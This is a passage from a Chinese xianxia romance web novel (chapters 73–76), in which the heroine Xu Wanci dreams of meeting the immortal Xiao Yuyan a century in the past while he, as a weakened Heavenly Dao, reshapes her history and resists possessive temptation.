“毕竟那里的灵气太过厚重,也太过霸道。” 若她与仙尊无关,怕是身体早已经被灵气撑爆。 说到这里,他声音一顿: 他们赶到之时,渡劫之地已然轰塌。 许晚辞在昏迷之前,应该也有所察觉。 想到她为了渡劫之地,明知危险也偏要赴约的决绝,他目光中多了几分担忧。 许晚辞看了他一眼,侧头透过半开的房门,看向小院中的景色。 她轻声道: “那里,并没有他的神魂。” 听到她的话,谢听白一怔。 明明他最擅长劝慰他人,可此刻,他却根本不知道应该说些什么。 或许是因为梦中的经历,许晚辞的表情看起来不似之前的死寂与伤怀,而变成了一种真实的温柔。 一种过尽千帆,历经苦痛之后却依旧如同往昔的温柔。 她看着门外的风景,声音带着一丝沙哑: “没关系的。” “如果真的找不到他的神魂,也没有关系。” “他的神魂,已经融入了万物,这世间,每一阵风,每一片落叶,每一朵花开,都是他。” 说到这里,她收回视线,声音坚定: “更何况,我还活着不是么?” “我还有很久的时间,去寻找。” 她无奈道:“一生太过漫长,总要找些事情做吧。” 就在这时,一片幻颜树的落叶随着清风从门口处飘了进来,落在了她的手背之上。 第73章 他,甘心卑劣;他,不想放手 混沌之中。 千万道带着天道之气的虚无汇聚在一起, 一个浅蓝色的虚影逐渐显现。 即使这里是最接近天道本源的地方,萧玉衍的面色依旧带着几分苍白。 改变了过去的走向,纵然他身为天道,也需要为此付出代价。 更何况, 此界并非完好无缺。 所以千年来才未有人飞升, 所以百年前, 需要世上最强者以身祭天。 所以, 萧玉衍才能在无相神石祈愿之下, 以天道的身份苏醒, 然后摆脱规则的束缚, 一步步拥有人的情感。 萧玉衍本就代表着不完全的天道,所受限制会更大。 在回到百年后的这一刻,他指尖乃至手腕, 都有一瞬间的透明, 身上的天道之力仿若受到什么限制一般, 多了几分黯淡的缥缈。 天道之力向来恒定,此消彼长。 有削弱,便会有增长, 只是不知增在何方。 萧玉衍也察觉到了虚无之中的变化,可他神情依旧冰冷淡漠。 周围的一切,无论爆发还是湮灭, 都不会让他心中产生任何波动。 他的目光, 只有落在许晚辞身上时, 才多了几分霜雪初融的暖意。 他垂眸看着百年后的她,目光是比之前还要固执的专注。 他看着她再次盛满了温柔与忧伤的双眸, 手指微微蜷缩。 方才的见面,于他只是一念, 于她却隔着一个百年。 一个漫长而难熬的百年。 直到看着她再次睡去,萧玉衍才终于移开了视线。 曾经,他从来不会在意灵力的增衰,也不会在意虚无之中的那些亘古存在的天道之力。 可如今,他有了一个想要护住的人。 萧玉衍看着下界的目光依旧温柔,可身上的气息却是完全与之相反的冰冷与强横。 一瞬间,虚无之中所有的天道之力被牢牢锁住,一点点被拖回到了他的身边。 他微微垂眸,天道之力源源不断的涌入他的身体,淬炼成了一条条修士才会拥有的经脉。 这种重塑经脉的疼痛感,足以令世界上所有的修士都失去神志,可萧玉衍的面色,依旧同先前一般淡漠,清寒的双眸中,连一丝波动都未曾存在。 淬炼而成的经脉中,只属于他的灵气缓缓流转。 萧玉衍在拥有人的情感之后,也终于开始拥有常人一般的身体。 他静立在原地,天际之中,混沌臣服。 * 修仙界中根本没有秘密。 许晚辞在渡劫之地受伤一事,早已在各大宗门世家之中传开。 除却幸灾乐祸,更加坚信楚青川是气运之子的白家,其他所有的宗门世家全都动了起来。 有宗门准备了能够修复伤势的天材地宝,有宗门炼制了许多防御法器,还有世家备上了无数灵石—— 就算讨好不了许晚辞,能讨好太清宗也是极好的。 毕竟,太清宗宗主宁孟澜,是他们见到许晚辞的第一道门槛。 能从他手下见到许晚辞的人,屈指可数。 即便见她一面难如登天,也从未有人放弃。 不仅是因为那遥不可及的因果,更是因为与许晚辞交好,能够得到的利益。 江家的那两个小辈,江泽成功突破渡劫,更是得到了举世罕见的齐云丹,说不定什么时候,就能突破渡劫后期,成为当世数一数二的大能。 江家少主江秋宁也所得甚多,本就不错的天赋如今在墨霜圣兰的作用下,已经成为了传说中的天灵根,未来不可限量。 前些时日更是得到了能够延缓渡劫尊者寿数的命寿花,帮助江家巩固了第一世家的位置。 至于佛子,千佛寺那边已经放出风声,佛子即日便要重渡渡劫雷劫。 这一桩桩一件件,怎么能不让他们眼热。 比起他们曾经也帮助了不少,但却从始至终都一毛不拔的楚青川,许晚辞简直是个福星。 就算他们送出去的礼得不到任何回馈,他们也心甘情愿。 太清宗中。 宁孟澜看着桌上玲琅满目的储物袋,幽幽地叹了一口气。 他的伤势才刚好,就被各大峰主拉出来处理这些灵宝。 他何尝不知道送礼之人的想法,只是许晚辞想来喜静,连他都隔几天才敢去探望一次,更何况这些和太清宗八竿子都打不着的修士们。 只是他也不能任由这种灵宝,平白占据许晚辞的因果。 更何况,太清宗也要脸面,自然不能只进不出。 想到这里,宁孟澜又叹了一口气: 这些回礼,就已经够他忙上小半个月了。 虽然他已经拦住了绝大部分修士,只是有一些,终究要许晚辞自己定夺。 比如前来道谢的佛子,比如从静寂之海带回一粒万年海珠的江泽,又比如从堕魔之地带着屠灵果安然归来的季妄。 天际的尽头,虚无之中的混沌好像察觉到了什么,拼尽全力终于让自己稍稍远离了萧玉衍的周围。 萧玉衍与下界之中的许晚辞相对而坐,暗玉桌上的一切,也与下界一般。 他面色如旧,可周身的气息,却似乎比往常凌厉了几分。 小院之中。 一日的时间,许晚辞已经先后回绝了佛子与江泽二人的赠礼。 那日是他们冒着性命之危,不顾自身去往魔界,想要救她。 纵然她能依靠自身之力脱离魔界,可是这份善意,她依旧珍视。 齐云丹与其说是为了结因果,还不如说是她的谢意。 所以,她并不需要他们的回报。 这一次站在许晚辞身前的,是一身红衣的季妄。 曾经喜欢把自己捂得严严实实极云尊者,不知何时开始穿起了低领劲装,颈侧以及锁骨之上的那两粒红痣,再也没有任何遮挡,招摇的显露在了阳光之下。 从不离手的极云刀,如今也化作了一枚耳饰,静静落在耳垂上,为他平添了几分风情。 看着身前的许晚辞,他眼中面对其他人时的凶狠与残忍尽数退去,只剩下了一片小心翼翼的担忧,绮丽的外貌在阳光之下,有了一种听话一般的乖巧。 季妄知晓她并未受伤后,松了一口气般伸出手,把一个玉盒递到了她身前: “这是我在堕魔之地找到的屠灵果。” 像是怕她不收,他赶紧继续道:“那里有许多屠灵果,这只是其中……很小一部分。” 他眼中满是真挚,一点都看不出将堕魔之地扫荡一空的土匪模样。 除却答应宗门长老的那几颗屠灵果,剩下的所有,都被他装在了玉盒之中,连自己都不曾留下一个。 许晚辞听着他的话,并未伸手,只是后退了一步道: “多谢极云尊者。” “只是此物太过珍贵,晚辞愧不敢受。” 季妄听着她的回复,看了一眼手中的玉盒,毫不犹豫地贬低道: “晚辞,屠灵果只是看起来罕见了一点罢了。” “这种灵果,堕魔之地随处可见,根本不算珍贵,你安心收下便好。” 明明是稀世灵宝,却偏偏被他形容得一文不值。 曾经对着屠灵果垂涎许久,却依旧被季妄无视的无极宗宗主,若是听到今日季妄的话,怕是已经哭出了声。 看着许晚辞依旧轻轻摇头的模样,季妄并没有强迫,他只是继续小心地解释道: “晚辞,若不是那日你的指点,我也不可能这样轻易的从堕魔之地拿到屠灵果。” “这些本就是你应得的。” 许晚辞依旧摇头: “若不是尊者修为高深,就算是有再多的提醒,也毫无用处。” “既是尊者辛苦所得,晚辞自然不敢,也不应收。” 不知是不是那日的梦境对她影响甚大,她终于开始学会了拒绝,拒绝他人的善意。 毕竟,在梦境中,她无视过那人的……偏爱。 许晚辞指尖微不可查的动了动: 若是想要什么,她可以自己去取。 她不需要接受其他人这样过重的馈赠。 季妄听到她的回答,知道她心意已决。 他沉默着收起了手中的玉盒,微微侧头,也不知是否有意,颈侧的红痣恰好露在许晚辞的视线之内,红得灼眼。 天际之中,萧玉衍的视线,淡漠地扫过许晚辞身前的季妄,面色平淡: 一个拙劣的模仿者。 一个……能陪在她身边,每日都能见到她的,拙劣的模仿者。 萧玉衍沉默地移开了视线,目光清冷,但周身凝聚淬炼天道之力的速度,却快了几分。 小院中,一阵清风吹过。 小院的木门,今日第三次被风吹开。 季妄离开之前的那一句,‘我明日再来’让萧玉衍身边的虚无瞬间退避了三寸。 萧玉衍看着许晚辞坐在暗玉桌旁,垂眸不知在想什么的模样,右手缓缓抬起,却又在意识到两人距离之时,无力的放下。 他清晰的意识到,他在嫉妒。 嫉妒着可以出现在她身边的季妄,即使他知道,她根本不可能在意他。 他想,见她。 想同她,见每一日的日升月落,听世间每一阵的清风,看凡尘每一片的落叶。 可现在的他,根本不是她想见的那个‘他’。 只是一次的相遇,如何抵得上她与‘他’那样长久的相处? 更甚者,她会不会怀疑,他们初遇中的那个他,并非真实? 他想见她…… 除非,是在百年之前。 就在他这个念头升起的时候,那一日穿梭时空的漩涡,再次出现在了虚无之中。 萧玉衍看着先于意识涌动的灵气,唇角扬起了一个自嘲的弧度。 可是他的动作却未曾迟疑,他一步一步,欣然的走入了这一个会让他伤势加重的漩涡。 另一边,许晚辞感受着丹田中涌动快了几分的灵团,眼中染上了几分困意。 她如今身在太清宗中,并不会遇到什么危险,于是趴在暗玉桌上,放任自己睡了过去。 这一次醒来时,又是那一个梦境。 只不过距离那时,已经过了两月。 这两月中,也不知发生了什么,原身在外门的日子,好过了许多。 虽然依旧与其他弟子关系甚远,却不会再被他们厌恶捉弄,他们甚至对她,多了几分不易察觉的尊敬。 原身这段时间的经历,越来越接近原著中对‘许晚辞’外门生活的形容。 许晚辞并未疑惑,因为按照她对原著的理解,这样,才更符合她的认知。 她看着周围的景色,心中一动: 若这还是她的梦境,那…… 她下意识朝着落玉峰的方向走去。 总归,只是一个梦,一个不知什么时候,便再也不会重现的梦。 她只要让自己不再沉迷,按时醒来便够了。 更何况,她也需要继续确认。 确认,这真的只是她的梦。 一个接连两次,能连贯起来的梦境。 落玉峰下。 还是那一片熟悉的化雨昙花田。 依旧是那个熟悉的身影。 许晚辞在确认这是梦境的那一刻,心中的情绪,复杂的自己都不想理清。 她一步步往前走去,声音如同两月前一般,尊敬却又亲近: “尊者,好久不见。” 她只是试探罢了,试探这是否,真的是能连续起来的梦境。 萧玉衍听着她的声音,心跳倏地失控。 这一刻,他忽然意识到,他是一个更卑劣的模仿者。 他卑劣的占据了曾经的‘他’与她的相遇。 可是…… 他,甘心卑劣。 他,不想放手。 第74章 这是一株为她而生的墨霜圣兰 萧玉衍听着许晚辞的称呼, 目光停留在她依旧稍显陌生的双眸之上,像是意识到了什么,眸光一动: 这或许是那日之后,他们的第二次相遇。 这段之间之中, 许晚辞依旧没有认识曾经的‘他’。 那—— 是不是有可能, 如今的他, 在她的过去中, 也留下了一丝痕迹。 在百年之后, 她某一瞬间的思念, 与他有关? 纵然他只是一个代替者。 代替曾经的‘他’先一步见到了她。 可是, 在意识到这一点时,他心中并无愧疚,只有卑劣的窃喜。 他看着许晚辞一步一步朝他走来, 目光是近乎偏执的温柔。 遍地的化雨昙中, 他静立在那里, 仿佛跨越了梦境与现实的交界,只留真实。 许晚辞看着身前人,呼吸不自觉的放轻, 她面色依旧如同上一次道别时一般,带着一面之缘应有的敬重与生疏。 她每向前一步,心中都闪过无数思绪: 这样的梦境, 或许还会继续, 又或许会在这一次之后, 永远终止。 她要如同上次一般,继续离开么? 许晚辞依旧向前的脚步, 已经给了自己回答。 她仿佛一直在说服自己: 她能分清真实与虚妄,可她也不会逃避自己的欲望。 总归, 这只是一个梦境。 一个并不危险,她能掌控,随时都能抽身而去的梦境。 对于她而言,并无弊处。 若是意识到不对,她如同上次一般离去便可。 想到这里,许晚辞在萧玉衍身前七步之处停了下来。 看着他看向她时冰雪初霁,专注而温柔的目光,她心跳忽然停滞了一瞬,目光也带上了一分妥协。 只是一个梦而已。 纵然停留,又能停留多久? 许晚辞抬眸看向身前人,轻声试探道: “尊者两个月前说的话还作数么?” 听到她的问题,萧玉衍心中仿若有微风拂过: 这,真的是他们的第二次相遇。 只有他们的第二次相遇。 他连一瞬的迟疑都不曾有: “当然。” 许晚辞也得到了试探的结果: 原来这真是一个连贯的梦境。 她扬起唇角,对着身前人笑得轻快: “那我想要……知晓尊者的名讳。” 萧玉衍对上她笑意清浅的目光,听着她与亲昵无异的请求,心中所有的克制轰然倒塌。 他再也不想隐瞒自己的存在,再也不想从她的百年前抽身离去。 他听到了自己的回答: “萧玉衍。” 在这一瞬间,他清晰的意识到,他们的初遇与初识,都是他。 无论之后她与曾经的‘他’如何亲昵,现在,都只是他。 许晚辞听到他的回答,眼中并没有什么诧异。 她眨了眨眼睛,没有称呼他的名字,而是唤起了他的尊号: “清衍仙尊。” 萧玉衍听到她的声音,终于回过神。 他看着许晚辞眼中小心翼翼的试探,指尖微不可查的动了动: 也是,以她的聪慧,怕是早已经察觉到了不对。 这时的她,生怕触怒他一般,连自己的猜测都只敢这样小心的说出口。 她不应该是这般。 她应该无拘无束,永远都不必害怕任何人,任何事。 一道道只属于萧玉衍的灵气无声地来到了许晚辞的周身,然后温柔的将她护住。 萧玉衍轻声应下了这个称谓: “是我。” 许晚辞听着他好似比先前更加轻柔的声音,意料之中的眨了眨眼睛: 果然,她的梦境之中,这个人对她的偏爱……不会因为一些细小的欺骗生气。 她微微侧头,解释的声音中不自觉地带上了几分轻松: “弟子先前有所猜测,这里是您的灵峰,想必等闲修士根本不能出现在这里。” 说到这里,她咳嗽了一声道: “只是弟子怕仙尊怪罪,只能装作不知,说不定能糊弄过去,安全而归。” “只是没有想到,您……这般善良慷慨。” “是弟子以小人之心度君子之腹了。” 萧玉衍看着她说话时偷偷瞄向他的目光,只觉得心中一片温软。 他下意识往前走了两步,却在察觉许晚辞微微紧绷的身体时蓦然停下。 他没有继续上前,而是轻声道:“你直接叫我的名字便好。” “我们……是朋友。” “对我,你不需要用尊称。” “永远都不需要。” 他的声音中,从来都听不出他们之间隔着深渊一般的修为差距,也听不出一丝强迫。 他只是平等甚至稍显下位的,在诉说他的……期望。 许晚辞心跳倏地加快。 她看到了他的停顿,听到了他的纵容,也清楚的感受到了他那从初见起,就仿佛没有边际的偏爱。 明明身前人的气息如同冰川一般凌冽清澈,她却偏偏从中感受到了一丝暖意。 一丝仿佛只有她能感受到的暖意。 这一刻,她忽然意识到: 永远不会有人比她自己更了解自己。 也永远只有她自己才知晓,她会对一个怎样的人心动。 许晚辞控制住自己的心跳,用好胜心强行压下了所有的想法。 凭什么,只有她会被扰乱思绪呢? 梦境,也应该一视同仁才对。 她也往前走了一步。 此时,他们之间的距离,已经足以听清彼此的呼吸声。 她抬起头,声音是前所未有的认真: “萧玉衍。” 现在,心跳混乱的,又多了一个人。 萧玉衍眼中除却身前人,再也没有了任何存在。 他心中那一株嫩芽,被他铺天盖地的情感滋养,一瞬间便生长出了数十片枝叶。 他的心动,在见到她的每一刻,都在悄然加深。 许晚辞对人的情绪向来敏感,她无法听清他的心跳,却察觉到了他的怔愣。 她心中生出了一丝隐蔽的欢喜,然后,她把这丝欢喜,归结于她赢了梦境。 她依旧抬头,认真地看着身前人: “我好像还没有向……你介绍自己。” “我是太清宗的一个普通外门弟子,许晚辞。” “你可以叫我……” 许晚辞想了很多,最终用梦境说服了自己: “晚晚。” 这是从未有人喊过的称呼。 也是她对这场梦境的……纵容与偏爱。 这一刻,周围仿佛被停顿了一般,风止声歇。 修为与萧玉衍天差地别的许晚辞,这一刻居然也听到了他的心跳声。 完全无序,完?? 全失控。 周围清寒的霜雪之气将她围住,却未曾给她带来一丝压迫。 接着,是一声温柔沙哑的轻唤: “晚晚。” 许晚辞蓦然攥紧双手。 这一次,从来理智的她,居然也有了一丝失控的趋势。 融入灵魂的警惕让她一瞬间回神。 她后退一步,拉开了两人的距离,也让自己远离了身前人的气息。 她抿着唇,逼自己冷静了下来。 即使是梦境,即使她可以留下,即使她可以……心动,但她绝不能失控。 她要拥有随时都能脱离梦境的……自控。 许晚辞理智到近乎冷酷的回忆着上一次如何离开梦境。 如果她没有记错的话,是她在梦中熟睡之后。 醒来后,她便身在现实。 即使已经猜测到了离开的方式,可不知为何,她却迟迟都没有迈出第一步。 她抬起头,看着不远处梦境中人疑惑怔愣,却仿佛在意她的想法一般,从始至终都不曾向前一步,怕让她觉得困扰的模样,她低下头,妥协一般地坐在了化雨昙花田之中。 她一只手抚过一株蓝色的化雨昙,自暴自弃的想: 在哪里睡不是睡,反正睡着了就好。 看着坐在花田中,低着头一言不发的许晚辞,萧玉衍右手抬起,一丝灵气悄然而至,却与她擦肩而过,并未触碰到她分毫。 他没有向前,只是有些落寞的轻声道: “晚晚。” 许晚辞听到他声音的那一刻,心跳又是一乱。 她控制着自己的心跳,缓缓呼出一口气: 纵然是梦境,她也不应该这样……不顾梦境中人的想法,只顾自己心安,无所谓的抽身离去。 错的,是无法自控的她。 不是梦境中的萧玉衍。 许晚辞抬起头,拍了拍身边的位置: “站着太累了,要不要一起坐一会儿?” 萧玉衍闻言眼中的无措稍退,他顺从地来到她身边,坐在了她身侧半米之外的位置。 看着沉默地欣赏风景的人,他却根本不知道应该说什么,能让她开心。 他只能如同之前一般,声音近乎小心翼翼的问到: “晚晚,有什么想要的么?” 不知为何,许晚辞仿佛从他的声音中,听出了几分委屈与讨好。 她回绝的话在唇边打了一个圈,最终也没有说出口。 或许是决定离去后,心中有了几分愧疚;或许是身边这个人,对她而言实在太过无害;又或许,因为这只是一个梦境,哪怕有人敢窥探,她的回答也不会对她有什么影响。 她感受着心中涌起的困倦,并没有隐藏最真实的自己。 她闭上双眼,声音轻得像是一阵呢喃: “我想要变得强大。” “我想拥有世间顶尖的天赋,顶尖的修为,能掌控自己的人生。” “我想,自由自在的活着。” 在她闭上双眼的那一刻,一道灵气小心地托住了她。 萧玉衍看着她在他面前安心睡去的模样,声音轻柔地应道: “好。” 丝丝缕缕的带着天道法则的灵气,被毫不留情地从他身体中剥离出来,已经绝迹近千年的至宝逐渐凝聚在了他身前。 他看着这一株墨霜圣兰,并未直接融入身侧人的身体,而是把它化入一方小天地中,一方只有许晚辞才能进入的小天地。 然后,将它放在了她最常经过的地方。 墨霜圣兰安静的落在小天地中,等待着某一日,被许晚辞察觉,然后与她相融。 随着萧玉衍的动作,他身体中所有的灵气全都被掏空,就连身体,也逐渐透明。 这一次,对过去的改变太大,已经濒临于他承受的极限。 可他只是静静地看着身侧已经熟睡的人,托着她身体的灵气依旧轻柔。 他已经透明的指尖无声的触碰着她的侧脸: 就让她以为这一株墨霜圣兰,只是因她气运所至。 与任何人无关。 “好梦。” 第75章 百年之前,‘他’对她真的好么? 天际之中。 萧玉衍静静地站在原地, 身体是已经接近虚无的透明。 这一次,他改变过去带来的影响太大,身体已经濒临极限,就连身上的天道之力, 也有了溢散之象。 此消彼长。 一方衰弱, 便会有一方增强。 另一片天际之中, 曾经被压制得没有分毫还手之力的既定天道, 一点点凝实起来。 漫天虚无中, 萧玉衍周围的混沌仿佛察觉到了什么, 犹犹豫豫的靠近, 却又只敢停留在他身边,不敢擅动。 空中那片蓝色的天际,也好似蒙上了一层灰蒙蒙的雾气。 不远处, 那道能穿越时空的漩涡, 未曾如同上一次般消散, 而是安静的矗立在那里,仿佛在引诱着什么。 与上次相比,它周围的时空之力仿佛少了些许, 旋涡颜色也比之前浅上了一分。 这道时空漩涡每一次穿梭的时间线,只能在上一次之后。 并且每一次的穿梭,都会加速它的消耗, 直至它完全从天地之间消失。 这是天道也无法违背的规则。 萧玉衍的目光在漩涡之上停留了一瞬, 随即淡漠地移开了视线。 能够让他驻足停留, 目光停驻的,从来都只有一人。 他看着下界之中, 沉睡在欢颜树下的身影,眼中终于带上了一丝温度。 当神明有了牵挂, 强大,也就成为了必须。 萧玉衍微微垂眸,感受着周围消散的天道之力,身上濒临枯竭的灵气不计后果般倾巢涌出。 这一刻,他对自己的狠厉,已经超过了身体所能承受的极限。 周围的天道之力,被他的灵气凝固、烧灼、同化,最终被灵气拖拽着融入他的身体。 不破不立。 他的身体被混淆着天道之力的灵气破坏殆尽,却又在下一刻重塑。 在一次次的重塑中,他的身体逐渐凝实,周围所有的天道之力,也再次被他掌控,最终同化成了只属于他的灵气。 只是距离他完全恢复,还需要一段漫长的时间。 * 小院中。 一片幻颜树叶随风飞舞,最终轻飘飘地落在了沉睡中人的手背之上。 许晚辞感受着手背上的触感,终于从睡梦中醒来。 她抬起头,看着周围熟悉的景色,眼中所有的情绪都被她牢牢压制,只剩下了一片平静。 她坐直身体,若无其事地运转灵力,察觉到丹田那团带着仙息的灵团后,她指尖一动。运转的灵力也停了下来。 身为化神修士,她早已经不需要睡眠。 这段时间,她的困倦,只可能是因为这个灵团。 许晚辞一只手拂过手背上的落叶,缓缓呼出了一口气: 境中境是仙尊渡劫之地,有着仙尊少许灵气的残留。 而她的神魂被仙尊炼制的三叶莲滋养,或许能与仙尊的灵气同频。 所以,才会有这个……梦境。 不知是想到了什么,许晚辞搭在暗玉桌上的双手缓缓用力,最终又倏地放松。 她站起身,压制住了心中所有的想法。 这段时间,她太疏于修炼了。 只是化神,还远远不够。 她的修为要足够高,才能真正掌控自己的人生。 其余的一切,与修炼相比,都不值得她在意。 接下来的几日,许晚辞再次回到了之前日夜不息修炼的模样。 她神识早已与渡劫修士相当,再加上灵团的辅助,修为一日千里,提升飞快。 只是这一次,和曾经的全神贯注不同,她的目光,偶尔会有一瞬间的停滞。 她向来习惯克制,即使是经常来小院中拜访的江秋宁,都没有察觉着细微的怔愣。 除了……天际中的萧玉衍。 天道不需要情感,更不被允许拥有自我。 更何况,他只是不完全的天道。 这个世界需要的,是百年之前那个以身祭天,供养整个修仙界的萧玉衍。 所以,当拥有意识后的他显露出一丝虚弱时,虚无中所有的一切:混沌、规则、甚至是被他拖入体内已经快要被完全转化的天道之力,都在尝试……让他毁灭。 让他再次回归虚无,成为那个没有情感,没有思想,甘心被着修仙界吸干殆尽的养料。 让他供养着真正的气运之子,让气运之子成功飞升,让修仙界彻底圆满。 所有的一切,都不想给萧玉衍留下一丝生机。 哪怕没有他,修仙界早已在百年之前,濒临溃灭。 可是,它们却又毫无办法。 即使是重伤之下强行淬炼自身的萧玉衍,依旧强大到让它们都无可奈何。 直到,它们发现了萧玉衍视线的停顿。 它们没有办法在他的注视下,伤害他在意的人,可是,它们却能影响他,放大他的内心。 神明拥有情感之后,便有了软肋,也有了……欲望。 萧玉衍经脉中未被完全同化的灵气,蜿蜒而上,在彻底消亡之前,不顾一切地勾动着他内心的恶意: “若不是你的两次回溯,许晚辞又怎么可能会与曾经的你有交集?” “是你在她心中播下种子,然后她才会爱上那个百年前的你。” “真实悲哀啊。” “你不顾身体伤势的两次回溯,最终却他人做了嫁衣。” 冰寒的灵气如同先前一般,依旧毫不留情的冲刷着经脉,将这些声音摧毁湮灭。 只是,只要萧玉衍还在淬炼身体,这挑动他欲望的声音就永远都不会停止。 他的内心,放大着许晚辞在下界之中的每一次恍惚,每一个停顿: “你说,她在怀念什么呢?” “是与她只有两面之缘的现在的你,还是那个她百年前朝夕相处,生死相许的‘你’?” “你猜,他们在一起时,会不会一同看那片化雨昙花田?会不会一同欣赏如同那日一般的月色?” “会不会耳鬓厮磨、不分你我?” 萧玉衍的灵气冰冷无情的淬炼着经脉中的每一丝天道之力,只是他无波无澜的双眸中,逐渐染上了一丝暗色。 心中的声音依旧继续: “快去见她吧,去见百年前的她,去阻止他们的相遇。” “然后将她困住,让她的眼中心中,永远都只有你一人。” “让她只爱现在的你。” 萧玉衍的目光平静而克制地扫过不远处的时空漩涡,依旧冰冷而残酷地将所有试图逃离的天道之力卷入体内。 他心中的那一丝清明,时刻提醒着他: 他不能见她。 不能这样濒临失控的见她。 神明落入凡尘后,终于理解了欲望,然后与它抗争。 * 太清宗中。 几日的修炼之后,许晚辞终于捅破了那一层的瓶颈,晋升到了大乘期。 她的渡劫,没有密布的雷云,也没有让人见之色变的雷劫。 天际之中的神明,忍着内心的躁动,用这段时日中淬炼的灵气,为她送了一片温柔绚烂的天地异象。 整个太清宗,都被笼罩在异象之中,每个修士都或多或少的得到了异象的馈赠。 许晚辞感受着体内属于大乘期的充盈灵力,心中欢喜之余,却多了几分自己都不想理清的情绪: 她丹田中的带着仙息灵团,变小了几分。 如果她的猜测是对的,等它完全消失时,便是梦境……停止之时。 一阵清风吹来,吹动了她的长发。 她面对所有人惊喜恭贺的目光,礼节一般地扬了扬唇角,随即转身离去,谢绝了所有的庆祝。 之后的每一日,她依旧与先前一般努力修炼,从未在意自己在修仙界引起了怎样的轩然大波。 即使修仙界中绝大多数修士都知晓,许晚辞突破大乘只是时间问题,但是依旧没有人猜到,她居然在化神之后不到三月内,便成功晋升大乘。 这种修炼速度,早已超越了如今修仙界所有的顶尖天才。 更何况,她还拥有那样的气运。 大乘期的雷劫,曾经让多少修士丧命于此。 可是许晚辞晋升之时,却只有一片霞光满天,层林尽染的天地异象。 在天道的偏爱中,她就这样轻松到令人嫉妒的,成为了大乘少尊。 当然,也有许多人真心的为许晚辞的晋升感到欢喜。 比如江秋宁。 若是可以,她比任何人都希望许晚辞能够成功飞升。 只是…… 见到晋升之后,修炼似乎比之前还要辛苦上几分的人,她只能无奈地继续将她拉出万剑锋散心。 若是一昧修炼,精神紧绷之下,怕是会适得其反。 这次,跟着她劝慰许晚辞的,还有顾云绮。 在魔界之行后,顾云绮先是得到了能提升修炼速度的齐云丹,前几日又被许晚辞晋升的天地异象影响,心中顿悟。 修为虽未提升太多,可本命阵法却得到了精益,居然创出了能与上古阵法媲美的幻阵。 所以,顾云绮在知晓许晚辞这样高强度的修炼之后,和江秋宁站在了同一战线。 从来直来直往的太清宗三长老,硬是翻了半天的修炼心法,引具经典,找出了不少强行修炼最后导致自己重伤的例子,用来劝慰许晚辞。 最终,三个人一同走在了一条曲径通幽的小路上。 许晚辞安静地向前走着。 她左手边,顾云绮小心地为她拨开了身侧灵树的枝干。 她右手边,江秋宁手中捧着一枚灵果,想要往她唇边送去。 就在这时,许晚辞看着周围的景色,像是想到了什么,抬眸透过灵树的枝叶看向远方,却最终什么都没有看到。 顾云绮察觉到了她的视线,手中的动作猛地一顿。 她身为太清宗的长老,是为数不多知晓清衍仙尊灵峰所在的人。 那个方向,有着一座被结界隐匿的灵峰——落玉峰。 她声音带着几分小心:“晚辞,你想要去看看么?” 虽然落玉峰的结界,与仙尊有关,任何人都无法破除。 可以许晚辞的身份,想必根本不会受到任何阻拦。 许晚辞听到她的声音,瞬间回过神来。 她意识到了自己的失态,不动声色的收回了视线: 纵然她已经尽力压制,可是梦境对她还是有所影响。 这本是她不应该犯得错误。 有些事情,若是不提起,大多数人便不会在意。 比如,为什么这百年中,她未曾去过落玉峰。 可当这件事情被摆上明面时,曾经忽略的事情,或许就会被察觉。 所幸,现在绝大多数人,都已经对她的谎言深信不疑。 她只需要编造出一个理由就好。 这件事情,自然不能与她有关,那就只能把一切,都推到另一个人身上。 想到这里,许晚辞轻轻摇了摇头,她抿了抿唇,笑得无奈: “他好像……不喜欢靠近去那里。” 顾云绮早已在无数事件中,知晓了仙尊对许晚辞的深爱。 所以听到她的话后,她并未觉得诧异,而是无奈地叹了一口气: 仙尊为了不让其他人察觉许晚辞的存在,真的做了许多。 她把一切,都归于了仙尊对许晚辞的爱护。 天际之中,萧玉衍眼中的暗色逐渐加深,眼中的理智也在一寸寸褪去。 只是许晚辞的一句话,就抵过了这些时日心中所有声音的引诱。 他看着她并未在意,只是无奈轻笑的模样,身边的气息一点点凝固: 若是她想,这世间的风景,他都能带她看遍。 这世上所有的一切,他都能捧到她的身前。 百年之前,‘他’对她真的好么? 只是一座灵峰…… 她本应该无拘无束,永远自由,也永远不被……限制。 第76章 是她先给他了放肆的权力 天际之中。 仿佛是察觉到了萧玉衍身边已经有所暴乱的气息, 虚无中本只能仓皇逃窜的天道之力,蠢蠢欲动的围了上来。 可是它们根本来不及靠近,就被他周身的灵气瞬间吞噬,湮灭。 即使重伤, 他依旧是超越天地间所有的存在。 萧玉衍一步一步地朝着时空漩涡的方向走去。 他所行之处, 所有的虚无混沌、天道之力, 连逃离的机会都不曾有, 被他扫荡、吞噬。 这时, 它们终于意识到: 失控的萧玉衍, 对它们而言, 更加危险。 直到萧玉衍的身影消失在漩涡之中,混乱的天际才终于安静了下来。 尚且幸存的天道之力小心的缩在角落之中,不敢继续动作。 它们从天际中丝丝缕缕的逃离, 然后蛰伏, 试图用自己的力量, 推动修仙界正确的运转。 不远处,一株用灵气捏成,弱小得好像随时都能被虚无吞噬的化雨昙随风而动, 却没有任何存在敢靠近。 * 许晚辞回到万剑锋不久后,便感觉到困意袭来。 再次睁开眼时,已经来到了梦境之中。 不远处, 是一片清澈的荷塘。 大片大片的静玉莲招摇的绽放着, 浅红、浅粉、深红, 所有的红色凝聚在一起,带着层次分明的美感。 许晚辞站在荷塘之前, 目光是抑制过后的平静。 她视线扫过落玉峰所在的方向,没有一丝停留。 梦境中, 她不能继续如同上次一般……失控了。 最好的方式,是在这里等待,等待睡意上涌,等待着她在现实中醒来的时刻。 她强行压下了察觉到这是梦境后,心中那一丝微弱的欣喜。 感受着脑海中的记忆,她缓缓地眨了眨眼睛: 距离她上次入梦,已经过去了三月。 原身也如同原著一般,获得了墨霜圣兰,天赋和修为都有所提升。 她的视线最终落在了前方的莲池上,然后缓步向前走去: 原身来到这里,是为了完成宗门任务,采摘静玉莲的莲子。 这个任务并不难,只是比较繁琐。 静玉莲的莲子对灵气比较敏感,修为在筑基之下,还不太会隐藏灵气的练气修士只能一粒粒用手采摘。 纵然她对灵气的掌控很强,这个身体修为却只是练气六层。 所以,她只能手动剥离莲子。 许晚辞走到莲池之中,俯下身,修长的手指扫过莲心,一粒莲子就出现在了她的指尖。 月色下,一个身影站在满池的静玉莲中,一粒一粒的采摘着莲子。 即使任务枯燥乏味,她面色依旧没有分毫不耐。 就好像除了眼前的任务外,她没有察觉到任何其他存在,包括不远处那个她早已熟悉的身影。 萧玉衍在见到许晚辞的那一刻,心中的欲望未曾止息,反倒如同巨浪一般翻涌而来。 